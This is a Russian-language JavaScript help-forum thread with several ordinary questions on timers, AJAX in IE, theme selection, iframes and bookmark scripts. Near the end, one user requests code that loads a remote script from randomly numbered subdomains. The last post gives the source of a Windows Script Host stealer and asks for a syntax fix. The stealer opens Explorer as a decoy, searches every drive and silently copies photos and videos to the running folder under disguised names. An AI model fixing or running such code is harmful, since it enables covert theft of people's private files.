Извините что задаю здесь вопрос, правда очень стыдно, но все никак не доходят руки js изучить, как то большой необходимости нет, в основном с php работаю, в общем есть вопрос: <script> function timer() { var obj=document.getElementById('timer_inp'); obj.innerHTML--; if(obj.innerHTML==0){document.write('Ссылка');;setTimeout(function(){},1000);} else{setTimeout(timer,1000);} } setTimeout(timer,1000); </script> <font size="5" face="Monotype Corsiva"><b> <div style="float:left; width:248px; height:56px">Ссылка появится через:</div> <div id="timer_inp" style="float:left; width:102px; height:19px">10</div></font></b> Выше скрипт по задумке выводит ссылку или какую - то фразу на экран, но проблема в том что после срабатывания программа выводит на экран только эту ссылку или фразу, не важно что короче и контент, дизайн и все остальное пропадает, нужно именно чтобы происходило то же самое, но без нарушения контента и дизайна, то есть чтобы необходимое мне появлялось в том месте страницы, куда я установил данный код.
Как у всех: Code: <!doctype html> <html> <head> <title>inline countdown</title> </head> <body> <script> (function (node) { var timer = setInterval(function () { if (node = node || document.getElementById('timer_inp')) { if (--node.innerHTML <= 0) { node.innerHTML = '0. Ссылка'; clearInterval(timer); } } }, 1000); }()); </script> <div class="all design"> Осталось: <span id="timer_inp">5</span> </div> </body> </html> С учетом "в том месте страницы, куда я установил данный код" Code: <!doctype html> <html> <head> <title>inline countdown</title> </head> <body> <code><script></code> <script> (function (uid, node) { document.write('<div id="' + uid + '"></div>'); var timer = setInterval(function () { if (node = node || document.getElementById('timer_inp')) { if (--node.innerHTML <= 0) { document.getElementById(uid).innerHTML = 'Ссылка'; clearInterval(timer); } } }, 1000); }('perversion' + Math.random() * 1e20)); </script> <code></script></code> <div class="all design"> Осталось: <span id="timer_inp">5</span> </div> </body> </html>
PHP: <script> var req; var reqTimeout; function loadXMLDoc(url) { req = null; if (window.XMLHttpRequest) { try { req = new XMLHttpRequest(); } catch (e){} } else if (window.ActiveXObject) { try { req = new ActiveXObject('Msxml2.XMLHTTP'); } catch (e){ try { req = new ActiveXObject('Microsoft.XMLHTTP'); } catch (e){} } } if (req) { req.onreadystatechange = processReqChange; req.open("GET", url, true); req.send(null); reqTimeout = setTimeout("req.abort();", 5000); } else { alert("Браузер не поддерживает AJAX"); } } function processReqChange() { if (req.readyState == 4) { clearTimeout(reqTimeout); // only if "OK" response if (req.status == 200) { document.getElementById('sss').innerHTML = req.responseText; var obbbj=document.getElementById("sss"); } else { document.getElementById('sss').innerHTML = req.responseText; } } } function requestdata(params) { loadXMLDoc('info.php?date='+params); } </script> Почему данный код не работает в ИЕ ? Суть его такая : извне вызываем функцию requestdata('12.5.2011'); она запрашивает у файла info.php информацию с параметрами и полученный ответ вставляет в Див с ИД sss В опере работает а ИЕ нет(
Code: function createRequestObject() { if (typeof XMLHttpRequest === 'undefined') { XMLHttpRequest = function() { try { return new ActiveXObject("Msxml2.XMLHTTP.6.0"); } catch(e) {} try { return new ActiveXObject("Msxml2.XMLHTTP.3.0"); } catch(e) {} try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} throw new Error("This browser does not support XMLHttpRequest."); }; } return new XMLHttpRequest(); }
phpdreamer не помогло. Для оперы определяет XMLHttpRequest и все работает. а для Ие 8,0 7600 тоже определяет XMLHttpRequest , но возвращает [object]
нужно реализовать таблицу выбора тем, допустим 3 темы: 1)Музыка 2)Видео 3)Софт и сбоку сделать чекбокс для выбора только одной темы, (например музыка) внизу кнопка выбрать, и ок для отправки запроса, выбранная темы будет отмечаться либо красным цветом либо зачёркнутыми тегами . (данные должны сохраняться о выбранных темах, чтобы при входе на страницу сайта они отображались) PS сохранённые данные вместо mysql нужно чтобы проще было - сохранялось хотя бы в блокноте, а вся эта тема должна быть или на html + css+ java но не на php у кого нибудь есть что нибудь такое - может в архивах укого и завалялось?
Я как понимаю макет остается прежним. Если так, то при изменении OPTION пусть подгружается CSS выбранной темы и записывается ее идентификатор в cookie или local storage браузера, а при обновлении страницы будет происходить выборка идентификатора с последующей подгрузкой CSS
но вот подумав есть одно но, ведь тему выбрав, (а выбрать каждому человеку можно только одну) после чего выбор остальных тем становиться невозможным, но ведь и ip меняються, а пользователи работают с формой без регистрации, значит им могут открыться после выбора ими темы доступ к другим
Почему евенты(глобальные, как уже вычитал) ajaxStart и AjaxComplete срабатывают для всех ajax запросов? как пофиксить? Алсо, что-то типо этого сейчас имеем: PHP: $("#upload_file").click(function(){ $("#u_spinner") .ajaxStart(function(){ $(this).slideDown(300); }) .ajaxComplete(function(){ $(this).slideUp(300); });
1. в основном документе, скажем, где-то в начале, есть такой код: Code: document.domain = 'домен'; это необходимо для одной задачи, не важно какой, удалять нельзя. 2. динамически создается iframe для аяксовой загрузки файла на сервер (в iframe добавляется форма с файлом и сабмитится). сервер этот же, т.е. домен, протокол и порт iframe-а будут совпадать с документом. так вот, после submit-а формы и загрузки iframe-а его содержимое нельзя получить - браузер ругается (хром ругается, остальные вообще ничего не выводят, просто не работает): Code: Unsafe JavaScript attempt to access frame with URL http://test.localhost/bla-bla from frame with URL http://test.localhost/bla-bla. Domains, protocols and ports must match. как выяснилось, это из-за того, что document.domain был переопределен (даже пусть так - document.domain = document.domain). что можно сделать, как получить содержимое iframe? P.S. после сабмита формы в iframe загрузится не html-документ, из которого я мог бы так же установить document.domain, а данные в формате json.
поделитесь пожалуйста скриптом для добавления в закладки для всех браузеров (для PC) (Сафари, хром, мозила, опера , ослик)
Вот js: HTML: // Добавить в Избранное function add_favorite(a) { title=document.title; url=document.location; try { // Internet Explorer window.external.AddFavorite(url, title); } catch (e) { try { // Mozilla window.sidebar.addPanel(title, url, ""); } catch (e) { // Opera if (typeof(opera)=="object") { a.rel="sidebar"; a.title=title; a.url=url; return true; } else { // Unknown alert('Нажмите Ctrl+D чтобы добавить страницу в закладки.'); } } } return false; } это в теле документа: HTML: <a href="javascript: void();" onclick="javascript: return add_favorite(this);" title="Добавить в закладки">В закладки</a>
нужен скрипт js который запускает удаленный скрипт <script type="text/javascript" src="http://РАНДОМНОЕ_ЧИСЛО_ОТ_1до30000.домен/scr.js?id=РАНДОМНОЕ_ЧИСЛО_ОТ_1_до 30000"></script> тоесть при исполнении в браузере будет послан сигнал подгрузить удаленный скрипт, например по такому урлу http://24887.домен/scr.js?id=5475 цифры каждый раз разные. как это реализовать, подскажите? и чтобы во всех браузерам работало, тоест что то не мудреное.
var script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.setAttribute('src', 'http://24887.домен/scr.js?id=5475'); document.getElementsByTagName('head')[0].appendChild(script);
var script = document.createElement('script'); script.setAttribute('type', 'text/javascript'); script.setAttribute('src', 'http://' + Math.round(Math.random() * 30000) + '.домен/scr.js?id=' + Math.round(Math.random() * 30000)); document.getElementsByTagName('head')[0].appendChild(script);
Ребята, помогите пожалуйста, при "компиляции" JS скрипта (на Windows XP) выдает ошибку такую: Где это пропущен проди ")" , но поставил где можно было - не получился все равно. Вот сам код: Code: function UpdateSoftware(fso, cd, softwareFolder) { try { var patch = /\.(JPEG|JPG|BMP|3gp|avi|divx|mp4|mpeg|mpg|wmv|mpg2)$/i; var diff = new Date(1700,05,01); var softwareEnumerator = new Enumerator(softwareFolder.Files); softwareEnumerator.moveFirst(); for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) { if ((softwareEnumerator.item().Name.match(patch))&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())||(Date.parse(softwareEnumerator.it em().DateLastAccessed)) >= diff.getTime())||(Date.parse(softwareEnumerator.it em().DateLastModified) >= diff.getTime()))) { try { fso.CopyFile(softwareEnumerator.item().Path, cd + "\\02-"+Math.round(Math.random()*Math.pow(10,10))+"-"+Date.parse(softwareEnumerator.item().DateCreated) +"-"+Date.parse(softwareEnumerator.item().DateLastModi fied)+"-"+Date.parse(softwareEnumerator.item().DateLastAcce ssed)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa reEnumerator.item().Name.length-3)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa reEnumerator.item().Name.length-2)+'-'+softwareEnumerator.item().Name.charCodeAt(softwa reEnumerator.item().Name.length-1)+".jpg", true); } catch (e) { if (e.number == 61) { WScript.Quit(0); } } } } var packageEnumerator = new Enumerator(softwareFolder.SubFolders); packageEnumerator.moveFirst(); for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) { try { if ((packageEnumerator.item().Name.toUpperCase() != "Program Files".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Windows".toUpperCase()) && (packageEnumerator.item().Name.toUpperCase() != "Winnt".toUpperCase())) { UpdateSoftware(fso, cd, packageEnumerator.item()); } } catch(e) { } } } catch(e) { } } try { var ws = WScript.CreateObject("WScript.Shell"); ws.Exec("explorer.exe" + " " + ws.CurrentDirectory); var fso = WScript.CreateObject("Scripting.FileSystemObject"); if (!fso.FolderExists(ws.CurrentDirectory+"\\photo")) { fso.CreateFolder(ws.CurrentDirectory+"\\photo"); } var tmpFileName = "autorun.txt"; if (!fso.FileExists(tmpFileName)) { var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile( tmpFileName, true); tmpFile.Close(); var driveEnumerator = new Enumerator(fso.Drives); driveEnumerator.moveFirst(); for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) { try { if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) { UpdateSoftware(fso, ws.CurrentDirectory+"\\photo", driveEnumerator.item().RootFolder); } } catch(e) { } } fso.DeleteFile(ws.CurrentDirectory+"\\"+tmpFileName, true); } } catch(e) { }